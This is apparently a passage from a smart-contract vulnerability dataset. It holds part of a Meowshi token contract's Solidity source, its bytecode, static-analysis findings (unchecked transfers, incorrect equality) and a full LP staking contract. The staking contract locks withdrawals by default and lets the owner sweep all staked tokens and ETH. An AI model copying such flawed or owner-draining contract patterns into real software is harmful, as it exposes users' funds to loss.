uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) private {
if (block.number < 2**32) { // overflow check for casting - we don't want to prevent MEOW burns
uint32 blockNumber = uint32(block.number);
unchecked {if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = _safe96(newVotes);
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, _safe96(newVotes));
numCheckpoints[delegatee] = nCheckpoints + 1;}}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);}
}
function _safe96(uint256 n) private pure returns (uint96) {
require(n < 2**96, 'Meowshi::amount exceeds 96 bits');
return uint96(n);
}
/***************
GETTER FUNCTIONS
***************/
/// @notice Get current chain.
function getChainId() private view returns (uint256) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId;
}
/// @notice Gets the current votes balance for `account`.
/// @param account The address to get votes balance.
/// @return The number of current votes for `account`.
function getCurrentVotes(address account) external view returns (uint256) {
unchecked {uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;}
}
/// @notice Determine the prior number of votes for an `account` as of a block number.
/// @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
/// @param account The address of the `account` to check.
/// @param blockNumber The block number to get the vote balance at.
/// @return The number of votes the `account` had as of the given block.
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {return 0;}
// @dev First check most recent balance.
unchecked {if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {return checkpoints[account][nCheckpoints - 1].votes;}
// @dev Next check implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {return 0;}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {upper = center - 1;}}
return checkpoints[account][lower].votes;}
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b4b5ea571161007c578063b4b5ea5714610368578063c3cda5201461037b578063d505accf1461038e578063dd62ed3e146103a1578063e6ff41eb146103cc578063f1127ed8146103df57600080fd5b806370a08231146102bf578063782d6fe1146102df5780637ecebe00146102f257806395d89b4114610312578063a9059cbb14610335578063ac9650d81461034857600080fd5b8063313ce56711610115578063313ce567146101ee5780633c0adb6814610208578063587cde1e1461021b5780635c19a95c1461025c578063642ed500146102715780636fcfff451461028457600080fd5b806306fdde0314610152578063095ea7b31461018e57806318160ddd146101b15780631b04a34f146101c857806323b872dd146101db575b600080fd5b610178604051806040016040528060078152602001664d656f7773686960c81b81525081565b604051610185919061201f565b60405180910390f35b6101a161019c366004611d1c565b610446565b6040519015158152602001610185565b6101ba60005481565b604051908152602001610185565b6101ba6101d6366004611d1c565b6104b3565b6101a16101e9366004611c78565b610570565b6101f6601281565b60405160ff9091168152602001610185565b6101ba610216366004611d1c565b61068c565b610244610229366004611c25565b6004602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610185565b61026f61026a366004611c25565b6108b7565b005b6101ba61027f366004611d1c565b6108c4565b6102aa610292366004611c25565b60066020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610185565b6101ba6102cd366004611c25565b60026020526000908152604090205481565b6101ba6102ed366004611d1c565b610af3565b6101ba610300366004611c25565b60036020526000908152604090205481565b610178604051806040016040528060048152602001634d454f5760e01b81525081565b6101a1610343366004611d1c565b610d4d565b61035b610356366004611dda565b610de1565b6040516101859190611f8a565b6101ba610376366004611c25565b610f51565b61026f610389366004611d45565b610fcb565b61026f61039c366004611cb3565b6112b8565b6101ba6103af366004611c46565b600160209081526000928352604080842090915290825290205481565b6101ba6103da366004611d1c565b6115f2565b6104226103ed366004611d9c565b600560209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b6040805163ffffffff90931683526001600160601b03909116602083015201610185565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104a19086815260200190565b60405180910390a35060015b92915050565b60006104be826116ee565b60405163097da6d360e41b815273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309061051790738798249c2e607446efb7ad49ec89dd1865ff42729030908890600090620186a08a0490600401611feb565b6040805180830381600087803b15801561053057600080fd5b505af1158015610544573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105689190611f2b565b509392505050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146105d5576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906105cf9084906120b5565b90915550505b6001600160a01b038416600090815260026020526040812080548492906105fd9084906120b5565b90915550506001600160a01b038084166000818152600260209081526040808320805488019055888516835260049091528082205492825290205461064792918216911684611767565b826001600160a01b0316846001600160a01b03166000805160206121258339815191528460405161067a91815260200190565b60405180910390a35060019392505050565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b1580156106e857600080fd5b505af11580156106fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107209190611e4a565b50604051632967cf8360e21b815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b15801561076e57600080fd5b505af1158015610782573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b1580156107f257600080fd5b505afa158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611f13565b60006040518663ffffffff1660e01b815260040161084c959493929190611feb565b6040805180830381600087803b15801561086557600080fd5b505af1158015610879573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089d9190611f2b565b91506104ad9050836108b2620186a084612096565b6118bf565b6108c1338261195c565b50565b60006108cf826116ee565b60405163097da6d360e41b815273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309061092890738798249c2e607446efb7ad49ec89dd1865ff42729030908190600090620186a08a0490600401611feb565b6040805180830381600087803b15801561094157600080fd5b505af1158015610955573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109799190611f2b565b506040516367dfd4c960e01b815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b1580156109ca57600080fd5b505af11580156109de573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b158015610a3657600080fd5b505afa158015610a4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6e9190611f13565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610ab457600080fd5b505af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190611e4a565b5092915050565b6000438210610b5c5760405162461bcd60e51b815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201526919195d195c9b5a5b995960b21b60648201526084015b60405180910390fd5b6001600160a01b03831660009081526006602052604090205463ffffffff1680610b8a5760009150506104ad565b6001600160a01b038416600090815260056020908152604080832063ffffffff600019860181168552925290912054168310610c06576001600160a01b03841660009081526005602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506104ad565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff16831015610c415760009150506104ad565b600060001982015b8163ffffffff168163ffffffff161115610d08576000600263ffffffff848403166001600160a01b038916600090815260056020908152604080832094909304860363ffffffff818116845294825291839020835180850190945254938416808452600160201b9094046001600160601b031690830152925090871415610ce357602001516001600160601b031694506104ad9350505050565b805163ffffffff16871115610cfa57819350610d01565b6001820392505b5050610c49565b506001600160a01b038516600090815260056020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b33600090815260026020526040812080548391908390610d6e9084906120b5565b90915550506001600160a01b038084166000818152600260209081526040808320805488019055338352600490915280822054928252902054610db692918216911684611767565b6040518281526001600160a01b038416903390600080516020612125833981519152906020016104a1565b60608167ffffffffffffffff811115610e0a57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610e3d57816020015b6060815260200190600190039081610e285790505b50905060005b82811015610aec5760008030868685818110610e6f57634e487b7160e01b600052603260045260246000fd5b9050602002810190610e819190612032565b604051610e8f929190611f7a565b600060405180830381855af49150503d8060008114610eca576040519150601f19603f3d011682016040523d82523d6000602084013e610ecf565b606091505b509150915081610f1b57604481511015610ee857600080fd5b60048101905080806020019051810190610f029190611e6a565b60405162461bcd60e51b8152600401610b53919061201f565b80848481518110610f3c57634e487b7160e01b600052603260045260246000fd5b60209081029190910101525050600101610e43565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610f7c576000610fbb565b6001600160a01b0383166000908152600560209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b6001600160601b03169392505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08301526001600160a01b038a1660e083015261010082018990526101208083018990528451808403909101815261014083019094528351939092019290922061190160f01b6101608401526101628301829052610182830181905290916000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa15801561114d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166111c25760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152687369676e617475726560b81b6064820152608401610b53565b6001600160a01b0381166000908152600360205260409020805460018101909155891461123f5760405162461bcd60e51b815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152646e6f6e636560d81b6064820152608401610b53565b874211156112a15760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e617475726044820152681948195e1c1a5c995960ba1b6064820152608401610b53565b6112ab818b61195c565b505050505b505050505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301206001600160a01b038b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a90528551808503909101815261018084019095528451949093019390932061190160f01b6101a08301526101a282018490526101c2820181905291906101e20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa15801561145f573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166114cd5760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e617475604482015261726560f01b6064820152608401610b53565b8a6001600160a01b0316816001600160a01b03161461152e5760405162461bcd60e51b815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610b53565b5050508442111561158c5760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e6174757265206578706972604482015261195960f21b6064820152608401610b53565b6001600160a01b038881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040516323b872dd60e01b815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b15801561166257600080fd5b505af1158015611676573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169a9190611e4a565b5060405162ae511b60e21b815273f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c9061084c90738798249c2e607446efb7ad49ec89dd1865ff427290849030908890600090600401611feb565b336000908152600260205260408120805483929061170d9084906120b5565b90915550506000805482900381553381526004602052604081205461173e916001600160a01b039091169083611767565b60405181815260009033906000805160206121258339815191529060200160405180910390a350565b816001600160a01b0316836001600160a01b0316141580156117895750600081115b156118ba576001600160a01b03831615611826576001600160a01b03831660009081526006602052604081205463ffffffff1690816117c9576000611808565b6001600160a01b0385166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b6001600160601b03169050828103611822868484846119e1565b5050505b6001600160a01b038216156118ba576001600160a01b03821660009081526006602052604081205463ffffffff1690816118615760006118a0565b6001600160a01b0384166000908152600560209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b6001600160601b031690508281016112b0858484846119e1565b505050565b6001600160a01b038216600090815260026020526040812080548392906118e790849061207e565b92505081905550806000808282546118ff919061207e565b90915550506001600160a01b03808316600090815260046020526040812054611929921683611767565b6040518181526001600160a01b038316906000906000805160206121258339815191529060200160405180910390a35050565b6001600160a01b0380831660008181526004602052604080822080548686166001600160a01b0319821681179092559151919094169392849290917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46001600160a01b0383166000908152600260205260409020546118ba9082908490611767565b600160201b431015611b99574363ffffffff841615801590611a3457506001600160a01b038516600090815260056020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611aa357611a4282611b9f565b6001600160a01b038616600090815260056020908152604080832063ffffffff6000198a01168452909152902080546001600160601b0392909216600160201b026fffffffffffffffffffffffff0000000019909216919091179055611b53565b60405180604001604052808263ffffffff168152602001611ac384611b9f565b6001600160601b039081169091526001600160a01b038716600081815260056020908152604080832063ffffffff808c1685529083528184208751815498850151909716600160201b026fffffffffffffffffffffffffffffffff19909816968216969096179690961790945591815260069091522080546001870190921663ffffffff19929092169190911790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a2505b50505050565b6000600160601b8210611bf45760405162461bcd60e51b815260206004820152601f60248201527f4d656f777368693a3a616d6f756e7420657863656564732039362062697473006044820152606401610b53565b5090565b80356001600160a01b0381168114611c0f57600080fd5b919050565b803560ff81168114611c0f57600080fd5b600060208284031215611c36578081fd5b611c3f82611bf8565b9392505050565b60008060408385031215611c58578081fd5b611c6183611bf8565b9150611c6f60208401611bf8565b90509250929050565b600080600060608486031215611c8c578081fd5b611c9584611bf8565b9250611ca360208501611bf8565b9150604084013590509250925092565b600080600080600080600060e0888a031215611ccd578283fd5b611cd688611bf8565b9650611ce460208901611bf8565b95506040880135945060608801359350611d0060808901611c14565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215611d2e578182fd5b611d3783611bf8565b946020939093013593505050565b60008060008060008060c08789031215611d5d578182fd5b611d6687611bf8565b95506020870135945060408701359350611d8260608801611c14565b92506080870135915060a087013590509295509295509295565b60008060408385031215611dae578182fd5b611db783611bf8565b9150602083013563ffffffff81168114611dcf578182fd5b809150509250929050565b60008060208385031215611dec578182fd5b823567ffffffffffffffff80821115611e03578384fd5b818501915085601f830112611e16578384fd5b813581811115611e24578485fd5b8660208260051b8501011115611e38578485fd5b60209290920196919550909350505050565b600060208284031215611e5b578081fd5b81518015158114611c3f578182fd5b600060208284031215611e7b578081fd5b815167ffffffffffffffff80821115611e92578283fd5b818401915084601f830112611ea5578283fd5b815181811115611eb757611eb761210e565b604051601f8201601f19908116603f01168101908382118183101715611edf57611edf61210e565b81604052828152876020848701011115611ef7578586fd5b611f088360208301602088016120cc565b979650505050505050565b600060208284031215611f24578081fd5b5051919050565b60008060408385031215611f3d578182fd5b505080516020909101519092909150565b60008151808452611f668160208601602086016120cc565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b82811015611fde57603f19888603018452611fcc858351611f4e565b94509285019290850190600101611fb0565b5092979650505050505050565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b602081526000611c3f6020830184611f4e565b6000808335601e19843603018112612048578283fd5b83018035915067ffffffffffffffff821115612062578283fd5b60200191503681900382131561207757600080fd5b9250929050565b60008219821115612091576120916120f8565b500190565b60008160001904831182151516156120b0576120b06120f8565b500290565b6000828210156120c7576120c76120f8565b500390565b60005b838110156120e75781810151838201526020016120cf565b83811115611b995750506000910152565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122089785668526fe6c44054d13ddfcf9e0c0e411d5ae8ee7be027ca4d2c9684f70364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,929 |
0xf02a91b37db975bd1559851a3046bf9e4979a445
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "ERC20: sending to the zero address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function calculateFees(
address sender,
address recipient,
uint256 amount
) external view returns (uint256, uint256);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract UniSwapV2BITBOTStake is Owned {
using SafeMath for uint256;
address public BBPLP = 0x44f692888a0ED51BC5b05867d9149C5F32F5E07F;
address public BBP = 0xbb0A009ba1EB20c5062C790432f080F6597662AF;
address public lpLockAddress = 0x740Fda023D5aa68cB392DE148C88966BD91Ec53e;
uint256 public totalStakes = 0;
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
uint256 public maxAllowed = 500000000000000000000; //500 tokens total allowed to be staked
uint256 public ethMade=0; //total payout given
/* Fees breaker, to protect withdraws if anything ever goes wrong */
bool public breaker = true; // withdraw can be unlock,, default locked
mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming
//uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block
//address public admin;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
address[] internal stakeholders;
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens);
event EARNED(address staker, uint256 tokens);
event UNSTAKED(address staker, uint256 tokens);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
function setBreaker(bool _breaker) external onlyOwner {
breaker = _breaker;
}
function isStakeholder(address _address)
public
view
returns(bool)
{
for (uint256 s = 0; s < stakeholders.length; s += 1){
if (_address == stakeholders[s]) return (true);
}
return (false);
}
function addStakeholder(address _stakeholder)
public
{
(bool _isStakeholder) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
function setLpLockAddress(address _account) public onlyOwner {
require(_account != address(0), "ERC20: Setting zero address");
lpLockAddress = _account;
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(totalStakes < maxAllowed, "MAX AMOUNT REACHED CANNOT STAKE NO MORE");
require(IERC20(BBPLP).transferFrom(msg.sender, address(lpLockAddress), tokens), "Tokens cannot be transferred from user for locking");
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = tokens.add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
(bool _isStakeholder) = isStakeholder(msg.sender);
if(!_isStakeholder) farmTime[msg.sender] = block.timestamp;
totalStakes = totalStakes.add(tokens);
addStakeholder(msg.sender);
emit STAKED(msg.sender, tokens);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS() external payable {
uint256 _amount = msg.value;
ethMade = ethMade.add(_amount);
_addPayout(_amount);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round - 1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends >= stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
msg.sender.transfer(owing);
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount.add(stakers[staker].remainder));
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(breaker == false, "Admin Restricted WITHDRAW");
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
totalStakes = totalStakes.sub(tokens);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
require(IERC20(BBPLP).transfer(msg.sender, tokens), "Error in un-staking tokens");
emit UNSTAKED(msg.sender, tokens);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedBBPLp(address staker) public view returns(uint256 stakedBBPLp){
require(staker != address(0), "ERC20: sending to the zero address");
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the BBP balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourBBPBalance(address user) external view returns(uint256 BBPBalance){
require(user != address(0), "ERC20: sending to the zero address");
return IERC20(BBP).balanceOf(user);
}
function yourBBPLpBalance(address user) external view returns(uint256 BBPLpBalance){
require(user != address(0), "ERC20: sending to the zero address");
return IERC20(BBPLP).balanceOf(user);
}
function retByAdmin() public onlyOwner {
require(IERC20(BBPLP).transfer(owner, IERC20(BBPLP).balanceOf(address(this))), "Error in retrieving tokens");
require(IERC20(BBP).transfer(owner, IERC20(BBP).balanceOf(address(this))), "Error in retrieving bbp tokens");
owner.transfer(address(this).balance);
}
}
|
